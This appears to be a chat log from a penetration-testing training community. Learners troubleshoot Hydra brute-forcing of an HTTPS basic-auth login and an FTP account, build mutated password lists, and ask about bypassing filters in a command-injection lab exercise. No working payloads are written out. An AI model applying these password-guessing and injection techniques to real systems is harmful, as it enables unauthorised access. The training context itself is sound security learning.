[VERBOSE] Disabled child 1 because of too many errors
[VERBOSE] Could not create an SSL session: error:00000000:lib(0)::reason(0)
[ERROR] Child with pid 5899 terminating, can not connect
[VERBOSE] Retrying connection for child 4
[VERBOSE] Could not create an SSL session: error:00000000:lib(0)::reason(0)
[ERROR] Child with pid 5910 terminating, can not connect
[VERBOSE] Retrying connection for child 15
[VERBOSE] Could not create an SSL session: error:0A00010B:SSL routines::wrong version number
[ERROR] Child with pid 5895 terminating, can not connect
[VERBOSE] Retrying connection for child 0

I even tested on Parrot and Kali

[hallow kiln]

Is there even anything to brute-force on that website at 443? don't have anything in my notes on that

[next bronze]

your hydra syntax is wrong, and why https-get? I don't remember attacking common services having any web attacks

[rough acorn]

There is a basic auth as soon as you check 443

[rough acorn]

It's exposed and I got a name I found through SMTP so I want to find a password for it. What's wrong with the syntax?

[next bronze]

what section is that

[hallow kiln]

easy skills assessment I think

[rough acorn]

Maybe my approach is wrong but I like to dig into weird issues during exercises so I don't get caught during something real

[rough acorn]

yes easy

I just find it weird that I can't connect with my browser but Hydra can't

[native turtle]

Hi everyone I'm stuck with Linux Credentials hunting section... I'm trying to brute force kira ftp password with the muted password list.. is the right way or am I just wasting my time? I read on the chat that the password must be on the first 14k but I already passed that and nothing was found.. any hints

[hallow kiln]

I don't think the -S flag needs to be there

[rough acorn]

I get the same result with and without

though if I check the network tab of the debugger in my browser, I don't see any packet sent when I hit login. I wonder if it's just some weird default browser response?

[hallow kiln]

which list is that? there was a new list we had to create for that question if I remember correctly

[hallow kiln]

maybe it's just a dummy page as an example? I don't think I bothered to do anything with it

[next bronze]

you should only attack the services like what's in the module

[native turtle]

the one in the zip resource of the module

[rough acorn]

I am still curious as to what the issue is here lol, I'll try to get back on track

[native turtle]

mut with the costume.role file

[hallow kiln]

did you check the hint for that qustion?

[native turtle]

yes it talk about a LoveYou1 password but doesn't work... wait maybe I can create a new mut_list

[hallow kiln]

exactly!

[native turtle]

damn was so fast...

thx ahahah

how to waste 1 hour 101

[odd raptor]

hello, can someone help me at the challenge cubemadness 2 on game pwn

[leaden pond]

Module: Attacking Enterprise Networks

Section: Web Enumeration & Exploitation

I'm working on the last question that asks me to use command injection to get the flag in the web root. I'm able to run "ls" and see the name of the flag (different from "flag.txt"), but I can't figure out how to read the contents of that file. I've tried base64 encoding my command, varying the capitalization of letters, and a lot of other things from the command injection module, but nothing is working.

[hallow kiln]

read and follow #welcome, then you can ask in #challenges

[odd raptor]

ok

are you gonna help me

[opaque gale]

Got it, must've fat fingered my answer the first time because I already tried it 2 hours ago lmao. Ty all.

[hallow kiln]

I know nothing about the challenges, but now that you've verified you can see the dedicated channel

[odd raptor]

ok no problem